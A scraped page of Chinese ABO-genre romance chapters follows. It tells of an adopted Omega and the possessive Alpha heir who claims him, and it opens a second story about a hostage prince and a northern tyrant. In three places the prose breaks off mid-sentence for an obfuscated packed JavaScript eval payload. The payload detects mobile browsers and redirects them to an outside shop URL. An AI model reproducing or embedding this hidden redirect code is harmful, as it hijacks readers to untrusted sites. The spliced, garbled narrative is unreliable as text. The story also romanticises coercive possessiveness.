那个永远冷静、永远强大、永远无懈可击的祇玉,因为他要嫁人,因为他要生孩子,气到失控,气到哭,气到溃不成军。 心底那道筑了多年的防线,在这一刻,轰然崩塌。 Omega的本能在向眼前的Alpha臣服,不是被迫,是心甘情愿。 他抬手,轻轻碰了碰祇玉凌乱的发顶,声音轻得几乎听不见: “……阿玉。” 这一声呼唤,成了最后一根引线。 祇玉猛地收紧手臂,将人打横抱起,走向那张铺着素色床单的床。 动作带着占有欲,带着失控,带着再也不想等、再也不能等的疯狂。 窗外的老槐树在风里摇晃,房间里的气息彻底纠缠在一起。 冷冽的白梅香,吞没了雨后青苔的淡味。 祇家的玉,终于囚住了他藏了十三年的鲤。 祇玉俯身,额头抵着祇鲤的额头,眼尾通红,声音沙哑得破碎: “祇鲤,看着我。” “记清楚,你身上的所有,都只能是我的。” “你的人,你的信息素,你的未来,你以后的孩子——全都是我的。” “这辈子,你别想逃。” 昏沉的灯光里,Omega的阻隔贴早已被揉碎,清冷的Alpha气息将他彻底包裹,覆盖,占有。 没有算计,没有等待,没有克制。 只有一个Alpha,在失去理智的边缘,用最偏执、最滚烫的方式,宣告他唯一的所有权。 ——你只能是我的。 3. 玉骨囚鲤·三 天刚蒙蒙亮,浅淡的晨光透过西院偏厢朝北的小窗,落在素色床单上,晕开一层薄而软的光。 空气中还残留着昨夜纠缠未散的气息——清冽如寒玉的白梅香,混着雨后青苔与旧书页的淡味,紧紧缠在一起,不分彼此,再也拆不开。 祇鲤是被身上沉重的压迫感弄醒的。 一睁眼,便落入一片熟悉的黑色布料。 祇玉整个人抱着他,睡得极沉,却依旧保持着近乎偏执的占有姿态。长臂牢牢圈在他腰上,腿也霸道地缠过来,将他整个人锁在怀里,像是怕一松手,怀里的人就会化作晨雾消失不见。 他甚至能感觉到对方指尖轻轻扣着他左腕那道陈年疤痕,力道很轻,却寸步不离。 祇鲤僵了一瞬,昨夜失控的画面如同潮水般轰然涌进脑海。 红着眼眶崩溃的Alpha,带着哭腔的告白,掠夺般的亲吻,还有那句一遍又一遍、偏执到刻进骨血的——你只能是我的。 耳根瞬间烧得滚烫,连带着脖颈都泛起薄红。 他动了动,想轻轻挪开一点,可刚一挣扎,圈在腰上的手臂便骤然收紧。 祇玉醒了。 没有刚睡醒的迷茫,这位向来作息精准、时刻保持清醒的Alpha,睁眼的瞬间,目光便精准落在怀中人的脸上,深邃的眼眸里还残留着昨夜未褪尽的戾气与占有,却多了几分清晨独有的、极淡的软意。 祇鲤不敢看他,下意识偏过头,长长的睫毛慌乱地颤动,像受惊的蝶。 “醒了?” 祇玉的声音还带着刚睡醒的沙哑,低沉磁性,裹着温热的呼吸,落在祇鲤的发顶。 和昨夜崩溃暴怒的模样截然不同,此刻的他安静得反常,却依旧带着不容挣脱的掌控。 祇鲤抿着唇,没敢应声,指尖攥着床单,指节泛白。 羞耻、慌乱、无措,还有一丝连自己都不愿承认的安心,交织在一起,堵得他心口发闷。 他是真的没想到,一向冷静克制、精于计算的祇玉,会失控到那种地步。 更没想到,自己竟然没有真的推开他。 腰间的力道又紧了紧,祇玉微微低头,鼻尖轻轻蹭过祇鲤的发顶,动作温柔得不像话,和昨夜那个偏执疯狂的Alpha判若两人。 “还在怕?” 他低声问,语气里带着一丝极淡的、不易察觉的忐忑。 哪怕已经将人彻底占为己有,他依旧怕。怕祇鲤醒后恼羞成怒,怕祇鲤恨他,怕祇鲤依旧想着离开,想着嫁给萧源,想着……和别人过日子。 昨夜那股气到想哭、慌到失控的情绪,此刻沉淀下来,化作了小心翼翼的珍视。 祇鲤依旧没说话,只是耳尖的红更浓了。 祇玉却忽然松开一只手,指尖轻轻抬起他的下巴,强迫他转过身来,正对上自己的视线。 近距离之下,祇鲤能清晰地看见他眼底的红血丝——是昨夜彻夜未眠、是情绪透支留下的痕迹。 一向有严重洁癖、衣物必须熏染特定香薰、物品必须对称摆放的祇家继承人,此刻头发微乱,衬衫皱得不成样子,眼底是从未有过的狼狈,却唯独看向他的眼神,滚烫而专注。 “看着我。”祇玉轻声说,语气里没有强迫,只有恳求。 祇鲤被迫抬眼,撞进他深不见底的眼眸里。 那双眼睛里,没有算计,没有疏离,没有继承人的冰冷面具,只剩下毫不掩饰的、滚烫的占有与珍视。 “萧源那边,我会处理。” 祇玉先开了口,一字一句,清晰而坚定,掐断祇鲤所有的退路,也掐断所有的不安。 “婚约作废,萧家不敢有半句怨言。” “以后,没人再敢逼你嫁人,没人再敢逼你生孩子,除了……” 他顿了顿,指尖轻轻摩挲着祇鲤的下唇,眼神暗了暗,声音压得更低,带着专属的占有欲: “除了我。” 祇鲤的心跳猛地漏了一拍,脸颊烧得更厉害。 “你……”他终于开口,声音又轻又哑,带着未散的慌乱,“你知不知道你在做什么?” “我知道。” 祇玉回答得毫不犹豫,低头,轻轻在他额头上印下一个温柔得近乎虔诚的吻。 和昨夜的掠夺截然不同,这个吻轻得像羽毛,却重得像承诺。 “我从七岁那年就知道。” “祇鲤,我不是一时冲动。” “我等这一天,等了十三年。” 他说着,手轻轻移到祇鲤的后颈,将人往自己怀里又带了带,额头抵着额头,呼吸交缠。 “你不是工具,不是养子,不是任人摆布的棋子。” “你是我的。” “是我祇玉,唯一想要,唯一不能失去的人。” 左肩胛骨下的残月胎记,贴着祇鲤的肌肤,微微发烫。 那是他最隐秘的印记,此刻,终于贴在了他最想拥有的人身上。 祇鲤看着他眼底从未有过的认真与温柔,昨夜所有的委屈、恐惧、挣扎,在这一刻忽然全都软了下来。 他想起小时候,那个拽着他衣角哭的小不点;想起那个把玉佩塞给他、说要保护他的少年;想起昨夜红着眼眶、气到快要哭出来的Alpha。 原来这么多年,被藏起来的,不只是他一个人的心。 Omega的本能轻轻臣服,不是因为压制,而是因为心甘情愿。 他轻轻眨了眨眼,睫毛扫过祇玉的指尖,声音轻得像叹息: “……你真是疯了。” 祇玉却忽然笑了。 那是极少出现在他脸上的、真正轻松的笑,没有冷漠,没有算计,像冰雪初融,寒玉生光。 他低头,在祇鲤的唇角落下一个细碎温柔的吻,声音低哑,带着满足的偏执: “嗯,疯了。” “从遇见你那天起,就只对你疯。” 晨雾慢慢散去,西院的老槐树在风里轻轻摇晃,东院的白梅香,依旧飘到西院的每一个角落。 床上的人紧紧相拥,余温未散,羁绊已深。 祇母的指婚,萧家的婚约,外界的眼光,家族的规矩…… 早饭时间还没到,祇家祖宅正厅已经炸开了锅。 祇玉直接把萧家的退婚信拍在红木长桌上,字迹清晰、语气强硬——婚约作废,一切后果,祇家一力承担。 满堂寂静。 祇父猛地一拍桌子,茶杯震得跳起来:“祇玉!你知不知道你在干什么?!萧家是我们的重要合作方,你说退就退,你把家族信誉放在哪里?” 祇母脸色惨白,指着他指尖都在抖:“你……你为了祇鲤,连家族大事都不管了?他是你哥哥!是Omega!你们是——” “没有血缘。” 祇玉站在厅中央,身姿笔直,语气冷得没有半分转圜余地。 “他不是我亲哥。他是被领养来的,当年只是用来给我压病气的工具。这些,你们比谁都清楚。” 一句话,戳破祇家藏了二十年的窗户纸。 长老们脸色骤变:“放肆!家丑不可外扬!就算没有血缘,名分在,伦理在!你是Alpha嫡子,未来家主,怎么能和一个养子——” “我就是要他。” 祇玉抬眼,目光扫过在场每一个反对的人,气场冷硬如铁: “我只要他。” “婚事是你们硬塞的,我替他退了。以后谁再敢给祇鲤安排相亲、安排联姻,就是和我作对。” 祇父气得胸口起伏:“你疯了!他是Omega,你是Alpha嫡子,传出去别人会怎么说?祇家会被笑话死!” “笑话?”祇玉轻笑一声,寒意刺骨,“我掌控东南亚三家分公司,手里握着祇家近半资产。谁敢笑话,就让他从合作名单里消失。” 他顿了顿,字字清晰: “我不是在征求你们同意。我是在通知你们。” “祇鲤,我要定了。” 所有人这才真正意识到—— 那个从小被严格规训、克制到刻板的嫡子,这次是真的成了魔丸。 软的不听,硬的不怕。 长老们搬出族规,祇玉直接翻出股权协议: “按族规,嫡子成年后可主导家事。我今年二十,早已具备决定权。你们要么遵规,要么重选族长。” 长辈们拿伦理压他,祇玉面不改色: “伦理大不过我心意。他这辈子,只能是我的。” 有人偷偷劝祇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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良久,大长老长长一叹,败下阵来: “……随你吧。” “只要不闹得太难堪,我们……不管了。” 祇母红着眼,看着护着祇鲤的儿子,终于无力开口: “你真是……生来克我们的。” 祇玉没松口,只低头看向身边一直沉默的祇鲤,语气瞬间放软。 “我不克谁,我只护他。” 会议结束,所有人散去。 祇鲤还没回过神,手就被祇玉紧紧握住。 男人掌心温热,力道坚定,把他完完整整护在身边。 “都解决了。”祇玉声音放轻,带着一丝不易察觉的邀功,“没人再敢逼你嫁人,没人再敢安排你生孩子。” 祇鲤眼眶微热,轻声问:“值得吗?和所有人作对。” 祇玉停下脚步,转身认真看着他,一字一句: “你值。” “从七岁你守在我床边开始,从你为我捡玉佩划伤手开始,从你明明怕得要死却不敢反抗开始——” “你就比整个祇家都重要。” 他伸手,轻轻擦掉祇鲤眼角的湿意,动作温柔得不像话。 “以前你护我,以后我护你。” “谁对你不好,我就让谁不好过。” “谁想把你抢走,我就毁了谁。” 西院的老槐树影落在两人身上,东院的白梅香轻轻飘过来。 祇鲤看着眼前这个偏执又霸道、却把所有温柔都给他的Alpha,终于轻轻点头,声音微哑却认真: “……我信你。” 祇玉心口一软,俯身,在他额头落下一个郑重安稳的吻。 “不用再怕了,哥哥。” “以后,我是你的家。” “也是你永远,逃不掉的底气。” 4. 玉骨囚鲤·四·完 祇玉依旧维持着抱他的姿势,久久没动,下巴轻轻抵在祇鲤的发顶,肩膀微微发颤。 祇鲤察觉到不对劲,轻轻抬头:“阿玉?你怎么了?” 这一抬头,他整个人怔住。 一向强势、霸道、把所有情绪藏得死死的Alpha,此刻眼尾通红,睫毛沾着湿意,真的掉了眼泪。 不是崩溃,不是委屈。 是喜极而泣。 “你怀孕了。”祇玉声音哑得破碎,掌心轻轻、小心翼翼地覆在祇鲤的小腹上,动作轻得不敢用力,“祇鲤,我们有宝宝了。” 祇鲤心口一软,酸意直冲鼻腔。 曾经他一听到“生孩子”三个字就生理性恐惧、厌恶、反胃,觉得那是枷锁,是工具的使命。 可现在,怀的是祇玉的孩子。 是那个拼了一切护着他、为他对抗全族、把他捧在心尖上的Alpha的孩子。 没有逼迫,没有交易,只有满心满眼的爱意。 他伸手,覆在祇玉的手背上,轻轻点头,声音温柔又哽咽: “嗯,我们的宝宝。” 祇玉再也忍不住,俯身将人紧紧抱住,力道温柔又珍视,吻密密麻麻落在他的额头、眼尾、鼻尖,最后落在唇上,轻得像羽毛。 “对不起……”他哑声说,“让你遭罪了。” “不疼。”祇鲤摇摇头,抬手抱住他的脖子,“一点都不疼。” 得知祇鲤怀孕后,祇玉整个人直接变了模式。 从前那个冷硬、偏执、说一不二的“魔丸”嫡子,彻底变成了二十四孝贴身奶爸。 ——立刻推掉所有东南亚出差,视频会议全部改成深夜,白天寸步不离守着祇鲤。 ——严重洁癖的人,亲自给祇鲤熬汤、擦手、穿鞋,连鞋带都要他亲手系。 ——书房暗格不再藏照片,改成了孕期手册、婴儿图纸、Omega安胎食谱。 ——每天早晚准时给祇鲤信息素安抚,掌心永远贴着他的小腹,低声跟宝宝说话。 整个祇家更是被他闹得鸡飞狗跳,全员进入待命状态。 祇母原本还有几分别扭,一看祇鲤怀孕,瞬间把所有不满抛到脑后,天天送补品、织小衣服,看着祇鲤的眼神温柔得能滴出水:“可怜孩子,瘦成这样,要多吃点。” 祇父放下大家长架子,亲自去挑安全的食材、定制婴儿房家具,嘴硬心软:“……有事就叫我,别累着自己。” 长老们更是彻底服帖,把当年祇玉出生时用的和田暖玉、安胎古籍全都搬了过来,恭敬得不行:“少夫人有任何需要,随时吩咐。” 曾经逼他嫁人、逼他生孩子的人,如今全都围着他转。 可这一次,没有人把他当工具,没有人把他当棋子。 他是被祇玉放在心尖上宠的人,是祇家名正言顺的“少夫人”,是孕育着祇家下一代嫡孙的宝贝。 夜里,祇鲤靠在祇玉怀里,指尖轻轻摸着小腹,轻声问:“你想要男孩还是女孩?” 祇玉低头,吻了吻他的发旋,声音温柔得不像话: “都好。” “像你最好,温柔、干净、眼睛好看。” “要是像我……” 算了吧…… 他顿了顿,掌心轻轻摩挲着祇鲤的小腹,“我就把所有耐心都给他,不让他像我一样,苦十几年才抓住你。” 祇鲤心口一暖,转过身,抱住他紧实的腰,把脸埋在他胸口。 “祇玉。” “嗯?” “我很幸福。” 祇玉收紧手臂,将他和肚子里的宝宝一起护在怀里,闭上眼,声音轻而郑重: “我也是。” “谢谢你,来到我身边。” “谢谢你,给我一个家。” 东院的七株白梅再次开花时,小腹已经微微隆起。 阳光落在相拥的两人身上,冷玉生暖,锦鲤归巢。 曾经无家可归的Omega,终于有了永远的港湾。 曾经偏执冰冷的Alpha,终于有了一生的软肋与光芒。 腹中的小生命,是他们执念与爱意最好的答案。 玉骨囚鲤 祇绘嘉降生在暮春谷雨那日,恰与祇鲤生辰同日,哭声清亮,眉眼生得几乎是复刻了祇鲤的温润,唯独那股安静里藏着的执拗,是实打实随了祇玉。 小家伙取名祇绘嘉,“绘”是随了祇鲤最爱的画画,“嘉”是取美好圆满之意,是祇玉翻了半月古籍、删改无数次才定下的名字,郑重得如同签署海外百亿合同。可自打祇绘嘉睁开眼睛学会黏人那天起,祇玉就多了一个终身大敌——自己的亲生儿子。 东院小楼彻底变了模样。 从前严格对称、冷寂规整的书房,如今堆着婴儿毯、彩色摇铃、画着小鲤鱼的围兜,连祇玉最宝贝的檀木书桌,都被祇鲤摆上了儿子的奶瓶与磨牙棒。严重洁癖的Alpha敢怒不敢言,只能每晚等妻儿睡熟,默默把一切摆回原位,第二日清晨又会被小小的团子搅得面目全非。 祇绘嘉天生黏 Omega,自小就知道谁是最疼他的人,几乎长在祇鲤怀里。饿了要祇鲤抱,困了要祇鲤哄,连祇鲤坐在沙发上翻两页画集,小团子都要迈着还不稳的步子,晃悠悠扑过去,扒着祇鲤的膝盖往上爬,小脑袋一歪就枕在父亲腿上,舒服得直哼哼。 这一幕落在祇玉眼里,每一秒都像在醋缸里翻滚。 他是顶级Alpha,是掌控三家分公司、说一不二的祇家掌权人,是为了祇鲤敢和整个家族对抗的魔丸,如今却败给了一个连路都走不稳的小奶娃。 傍晚祇鲤靠在床头揉着肩,刚抬手想叫祇玉帮他按一按,祇绘嘉已经手脚并用地爬过来,小短腿一跨,稳稳坐在祇鲤腰侧,小手掌轻轻贴在祇鲤的脸颊上,咿咿呀呀地蹭。 祇鲤被儿子逗得笑出声,眉眼弯成温柔的弧度,声音软得能化出水:“嘉嘉乖,别闹爸爸。” 这一笑,彻底扎进祇玉的心口。 他站在床边,手里还拿着刚温好的羊奶,脸色黑沉沉的,周身清冽的信息素都带上了几分酸溜溜的冷意。 明明几个月前,这个人只抱着他睡,只对着他笑,只依赖他一个人;明明是他拼了命护在手心里的宝贝,是他等了十三年才攥住的光,怎么生了个儿子出来,就被分走了一大半注意力? 越想越委屈,越想越醋,祇玉甚至莫名开始后悔——当初就不该那么着急要孩子,现在倒好,平白多了个抢人的小情敌。 夜里喂奶换尿布,祇玉全程冷着脸,动作却轻得不能再轻,生怕吵醒祇鲤。可等祇绘嘉吃饱喝足睡熟,祇玉第一时间就把小团子抱去婴儿房,仔仔细细掖好小被子,转身“咔嗒”一声轻锁房门,像藏起了一个碍事的障碍物。 回到主卧,他立刻钻进被窝,从身后紧紧抱住祇鲤,下巴抵在Omega的颈窝,像只大型犬一样反复蹭,信息素温柔又委屈地包裹住对方。 祇鲤困得睁不开眼,声音含糊:“……嘉嘉睡了?” “嗯。”祇玉闷闷应了一声,手掌贴着祇鲤的腰腹,力道收紧,“别管他。” “你呀。”祇鲤无奈地笑了笑,反手摸了摸他的头发,“跟儿子吃什么醋。” “他抢你。”祇玉理直气壮,声音低哑又委屈,“以前你只看我,现在你眼里全是他。” “他是我们的孩子。” “我不管。”祇玉偏头,咬住他的后颈轻轻蹭,那是属于Alpha独占的标记位置,“你是我的,只能是我的。” 祇鲤彻底没了睡意,转过身看着眼前这个在外杀伐果断、回家却醋得发红的Alpha,又好笑又心软。他伸手捧住祇玉的脸,指尖轻轻擦过他眼底淡淡的青黑——自从孩子出生,祇玉几乎没睡过一个整觉,怕他夜里累,怕孩子闹到他,所有琐事全都自己扛,却还要因为一点小事偷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261100|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偷吃醋。 “祇玉,”祇鲤轻声开口,“我没有不看你,也没有不喜欢你。” “那你亲我。”祇玉立刻提要求,像个得不到糖的孩子,“亲这里。” 他指了指自己的唇,眼神认真又执拗。 祇鲤无奈又纵容,轻轻凑过去吻了吻他的唇角。 只是一个浅吻,祇玉却瞬间满足,眼底的阴郁一扫而空,又得寸进尺地把人抱紧,吻细细碎碎地落在他的额头、眼尾、脖颈,带着失而复得般的珍视。 可这份安稳没能维持多久。 天刚亮,婴儿房就传来小小的哭声,祇绘嘉饿醒了,找爸爸。 祇鲤刚想起身,就被祇玉死死按住。 “我去。”祇玉立刻开口,语气带着警惕,“你再睡一会儿,我来喂他。” 他生怕自己慢一步,祇鲤就又被儿子黏住。 可等他把奶瓶塞到儿子嘴里,看着祇绘嘉闭着眼睛吮吸的小模样,那点醋意又莫名软了几分。 这小小的团子,是他和祇鲤的骨血,是他们两个人拼了半生执念换来的圆满,是祇鲤忍着辛苦生下来的宝贝。 只是……归谁疼可以,抢他的人,绝对不行。 自那以后,祇玉开启了“严防死守”模式。 祇绘嘉想爬去祇鲤怀里画画,祇玉立刻把儿子抱走,塞进儿童座椅,摆好玩具:“自己玩,别打扰你爸爸画画。” 祇鲤想牵着儿子散步,祇玉立刻伸手揽住祇鲤的腰,把人护在自己身侧,另一只手拎着祇绘嘉的后领,像拎小奶猫一样跟在旁边:“走路看路,别总黏着你爸爸。” 家里佣人偷偷笑说,玉少爷这辈子最强的对手,不是商场上的对手,不是家族里的长老,是自己亲生的小少爷。 这天午后,祇鲤坐在院子里的白梅树下画画,画纸上是东院的七株梅,还有两个依偎在一起的人影。祇绘嘉趴在他脚边,抓着画笔胡乱涂,小手上沾得全是颜料。 祇玉端着水果走过来,刚想坐在祇鲤身边,祇绘嘉已经先一步起身,扑进祇鲤怀里,小脑袋靠在他胸口,甜甜地叫:“爸、爸爸……” 发音还不清晰,却足够让祇玉脸色一沉。 他放下果盘,弯腰伸手,想把儿子拎开:“嘉嘉,下来,坐爸爸腿上。” “不要。”祇绘嘉居然学会了摇头,小胳膊紧紧抱住祇鲤的脖子,往他怀里缩得更紧,一副宣示主权的模样。 祇鲤被两个一大一小的人逗得笑出声,左边是黏人的小团子,右边是醋得发黑的Alpha,一个软萌可爱,一个偏执占有,全是他这辈子最放不下的人。 “好啦。”祇鲤轻轻拍了拍祇玉的手背,又摸了摸儿子的头,“你们两个,都是我最爱的人,争什么。” 祇玉动作一顿,低头看向祇鲤含笑的眉眼,心底那点醋意瞬间被温柔填满。 他不再抢人,只是伸手,将怀里抱着孩子的祇鲤一同揽进自己怀中,让妻儿都靠在自己怀里,清冽的白梅香与雨后青苔的气息,再混着婴儿身上淡淡的奶味,缠成最安稳的羁绊。 他低头,在祇鲤发顶印下一个温柔的吻,又轻轻碰了碰儿子软软的发顶。 “嗯。”祇玉低声应着,声音里没有了醋意,只剩下满溢的温柔与占有,“都是你的,我也是你的,他也是你的。” 只是心里依旧默默补了一句: 但你,只能是我一个人的。 风拂过七株白梅,落了一地花瓣,落在画画的纸上,落在相拥的肩头,落在小小的团子发间。 曾经冰冷偏执的Alpha,终于拥有了一生的软肋与光芒。 曾经无家可归的Omega,终于拥有了永远的港湾与家。 而那个名叫祇绘嘉的小生命,从出生起,就被父母的爱意包裹,也成了父亲一辈子又爱又气、甩不开的小情敌。 日光温柔,岁月安稳,玉骨藏温,锦鲤归巢,此生圆满,再无别离。 5. 挽尊如雪·一 隆冬时节,北境的风裹着碎雪,刮在脸上如同冰刃割肤。 挽清风立在秦王宫的白玉阶下,单薄的月白长袍外只罩了一层同色轻纱,寒风钻衣而入,激得他喉间一阵发痒,忍不住偏头轻咳了两声。 清浅的咳嗽声在死寂的宫院中格外清晰,银白长发随动作轻垂,发间细碎的白羽簌簌颤动,衬得他本就苍白的面容更添了几分病气。 周身萦绕的淡淡药香,混着北境凛冽的寒气,凝成一种奇异又清冽的气息。 他是南国送来的质子,挽清风。 世人皆道南国质子温润如玉,性子软得像江南的春水,眉眼间尽是悲悯疏离的仙气,可只有挽清风自己知道,这副皮囊下藏着的是何等桀骜反骨。 抬眼望向那座巍峨肃穆的秦王宫正殿,浅碧色的眼瞳里没有半分敬畏,反倒漫不经心地翻了个极淡的白眼,心底早已把这位传闻中杀人不眨眼的北境暴君骂了个遍。 装温顺?不过是寄人篱下的权宜之计。 殿门缓缓开启,厚重的玄木大门发出沉闷的声响,一道颀长挺拔的身影逆光而立。 身高近两米的男子缓步走下台阶,玄色锦袍绣着暗金盘龙纹,每一步都踏得沉稳,自带一股睥睨天下的压迫感。 眉骨高挺,眼尾微挑,浅棕色的瞳仁落在阶下那道单薄身影上,没有半分温度,却又带着一种说不清道不明的审视。 是严尊谨,北境秦王,也是这北境说一不二的暴君。 他生得极好看,刀削般的下颌线,饱满偏粉的唇瓣中和了周身的冷硬,可那双浅棕眼眸里的锋芒,却让人不敢直视。 喜怒无常,杀伐果断,是北境人人闻之色变的存在。 严尊谨的目光径直锁在挽清风身上,从上至下,将他细细打量了一遍。 银白长发如瀑,部分挽成精致发髻,白羽点缀其间,月白长袍衬得他清俊绝尘,浅碧色的眼瞳沉静如水,唇瓣淡粉,一副不染尘俗的仙姿。 只是那看似温柔的眉眼深处,藏着一丝极淡的不耐与疏离,哪怕刻意垂着眼,也掩不住骨子里的桀骜。 有趣。 严尊谨唇角勾起一抹极浅的、似笑非笑的弧度,那笑意未达眼底,反倒添了几分危险。 “南国来的质子?” 他开口,嗓音低沉磁性,带着上位者独有的威压,一字一句砸在挽清风耳畔。 挽清风垂眸,掩去眼底即将翻起的白眼,面上立刻堆起恰到好处的温柔笑意,声音轻缓,带着病气的虚弱,温温柔柔地行礼:“臣,挽清风,见过秦王殿下。” 语气恭顺,姿态谦卑,完美诠释了世人眼中那个体弱温顺的南国质子。 可指尖却在袖中微微蜷起,心底腹诽:装什么装,凶神恶煞的样子,真以为谁怕你? 严尊谨自然捕捉到了他袖中那细微的动作,也看清了他垂眸时,眼睫轻颤下那一闪而过的不耐。 眼前这人,明明一身反骨,偏要装得温顺柔软,明明看他不顺眼,却还要低头行礼,这般口是心非的模样,倒是比北境那些趋炎附势的臣子有趣百倍。 他上前一步,居高临下地看着眼前仅到自己肩头的少年,197cm的身高带来绝对的压迫感。 伸手,毫无预兆地抬起挽清风的下巴,指腹不经意擦过他细腻白皙的肌肤。 “抬起头来。” 严尊谨的声音低沉,带着不容抗拒的霸道,浅棕色的眼眸紧紧盯着他浅碧色的瞳仁,像是要将他这副温柔面具彻底撕碎。 挽清风被迫抬头,撞进那双浅棕眼眸里,心底的反骨瞬间被挑了起来,面上却依旧温和,只是唇瓣微抿,语气轻飘飘的,带着几分不易察觉的阴阳怪气:“殿下这般动作,怕是不合礼数。” 软乎乎的嗓音,说出来的话却带着刺。 严尊谨低笑一声,指腹微微用力,看着他白皙下巴上泛起淡淡的红痕,眼底掠过一丝偏执的占有欲。 “礼数?”他挑眉,语气漫不经心,“在这北境,在本王的秦王宫,本王就是礼数。” 寒风再起,卷起挽清风的银白长发,发丝拂过严尊谨的指尖,带着淡淡的药香。 挽清风浅碧色的眼眸沉静依旧,心底却早已把严尊谨的祖宗十八代都问候了一遍,面上依旧是那副温柔悲悯的模样,只是无人看见,他垂在身侧的手,指尖已经掐进了掌心。 这便是他与北境暴君严尊谨的初见。 没有温情,没有恭敬,只有藏在温柔面具下的反骨,与裹在清冷暴君外衣下的偏执占有。 药香与龙涎香交织,在漫天碎雪的秦王宫前,缠成了一段解不开的缘。 殿外碎雪仍在飘,寒风卷着白羽落于肩头,挽清风被迫抬着下颌,浅碧色的眼瞳里漾着几分强装的温顺,指尖在袖中攥得发白,只差没直接对着眼前居高临下的暴君翻个明目张胆的白眼。 严尊谨的指腹还停留在他细腻的下颌线上,触感微凉,那点薄软的肌肤被他轻轻摩挲着,视线一寸寸描摹过眼前人的眉眼——银白长发,浅碧瞳仁,清俊得不染尘俗,连眉峰锐利的弧度,都与记忆里那个小小的身影渐渐重叠。 是他。 只一眼,严尊谨便确认无疑。 是当年那个在北境冷宫角落里,攥着一把野莓递给他,软声喊他“阿谨”的小少年;是那个为了护他,被失控的宫人推倒,后脑狠狠磕在青石阶上,血流了满头的小家伙;是那个醒来后眼神空茫,忘了所有事,不久后便被南国接走,从此杳无音信的人。 眼前的挽清风,就是他找了整整十五年的人。 当年那场意外,是他心底最深的疤。若不是他年少冲动引来了祸事,若不是他没能护住身边的人,他的少年不会受伤,不会失忆,更不会沦落为寄人篱下的质子,一身病骨,终年被药香缠绕。 愧疚、心疼、狂喜、偏执……无数情绪在严尊谨胸腔里翻涌,浅棕色的瞳仁骤然缩紧,指尖几不可查地颤抖了一下,连周身凛冽的气场都软了一瞬,快得让人无法捕捉。 他垂眸,看向挽清风额角发丝遮掩下,那一点极淡极浅的浅疤,藏在白皙的肌肤间,若不细看根本无法察觉。 那是当年青石阶留下的印记,也是刻在他心上的罪证。 挽清风被他看得浑身不自在,病气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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忘了当年的伤,那他就用余生一点点弥补,把所有的亏欠、疼惜、占有欲,全都砸在这个人身上。 “身子弱,便在秦王宫好好养着。”严尊谨抬步,从他身边走过,玄色衣袍带起的风拂过挽清风的长发,语气霸道却藏着不易察觉的纵容,“本王会让太医日日来诊脉,缺什么少什么,尽管开口。” 顿了顿,他脚步微停,没有回头,声音轻得只有两人能听见: “在这北境,有本王在,没人敢动你。” 挽清风愣了一下,浅碧色的眼瞳里闪过一丝疑惑。 这暴君,怎么突然转了性子? 可不等他细想,严尊谨已经迈步走入正殿,玄色背影挺拔矜贵,锋芒内敛。 只有严尊谨自己知道,方才那一眼确认,早已将他余生所有的偏执与温柔,全都钉在了眼前这个银发白肤、药香缠身,却一身反骨的南国质子身上。 旧影藏心,秘而不宣。 他的少年,终于回来了。 6. 挽尊如雪·二 北境的晨雪落得细密,鹅毛般的雪片沾在挽清风肩头的白狐裘上,转瞬便融成微凉的湿意。 他立在秦王寝殿外已足足半个时辰,狐裘虽暖,却抵不住寒风钻缝似的往骨缝里渗,本就孱弱的身子微微发颤,喉间压着几不可闻的痒意。 他是来晨起请安的南国质子,而殿内那位北境暴君,分明早已经醒了,却故意晾着他,摆明了要磋磨。 终于,殿内传来内侍尖细的通传声:“殿下宣质子入内——” 挽清风垂落的眼睫轻轻一动,掩去眼底几乎要翻上天的白眼,抬手轻轻拂去肩头落雪,缓步踏入殿中。 殿内暖意融融,龙涎香混着淡淡的墨气弥漫开来,与外头的冰天雪地判若两界。 严尊谨端坐于主位软榻上,玄色常服松松系着,身形挺拔如松,197cm的身高即便坐着,也自带居高临下的压迫感。 他抬眼,浅棕色的眼眸淡淡扫过来,只不轻不重地“嗯”了一声。 挽清风顺势屈膝行礼,身姿恭顺,银白长发垂落肩头,发间白羽轻颤,嗓音轻软得像江南的春水,带着恰到好处的温柔关切:“殿下万安,北境晨雪凛冽,天寒地冻,殿下处理政务辛劳,千万当心龙体。” 话说得温温柔柔,眉眼低垂,一副纯良悲悯的仙姿,任谁看了都要赞一句南国质子温润知礼。 可只有他自己心里清楚,早已把殿上的人骂了千百遍——冻死我了,这暴君绝对是故意的!昨晚批奏折批到半夜,今天起这么早就是为了折腾我?闲得发慌还是心眼比针尖还小,等着,早晚阴阳回去。 严尊谨的目光,自他踏入殿门的那一刻,就没从他身上挪开过。视线越过他温和的眉眼,直直落在他藏在袖中、因久站受寒而微微发红的指尖,那点淡红刺得他心口微紧。 面上依旧是那副清冷寡淡、喜怒难辨的模样,心底却早已翻了天——手都冻红了还硬撑着装没事,半点不知道爱惜自己。来人,把地龙烧得再旺三倍,暖炉都挪过来。赐座?不,直接把朕身边那方铺了绒毯的软榻搬过来。 不过瞬息之间,严尊谨便抬了抬手,语气平淡无波,听不出半分情绪:“不必多礼,北境天寒,质子身子孱弱,不必站着回话。” 话音落,立刻有内侍恭恭敬敬地将一方铺着雪白狐绒、软厚舒适的软榻,搬至严尊谨身侧,距离近得抬手便能碰到彼此。 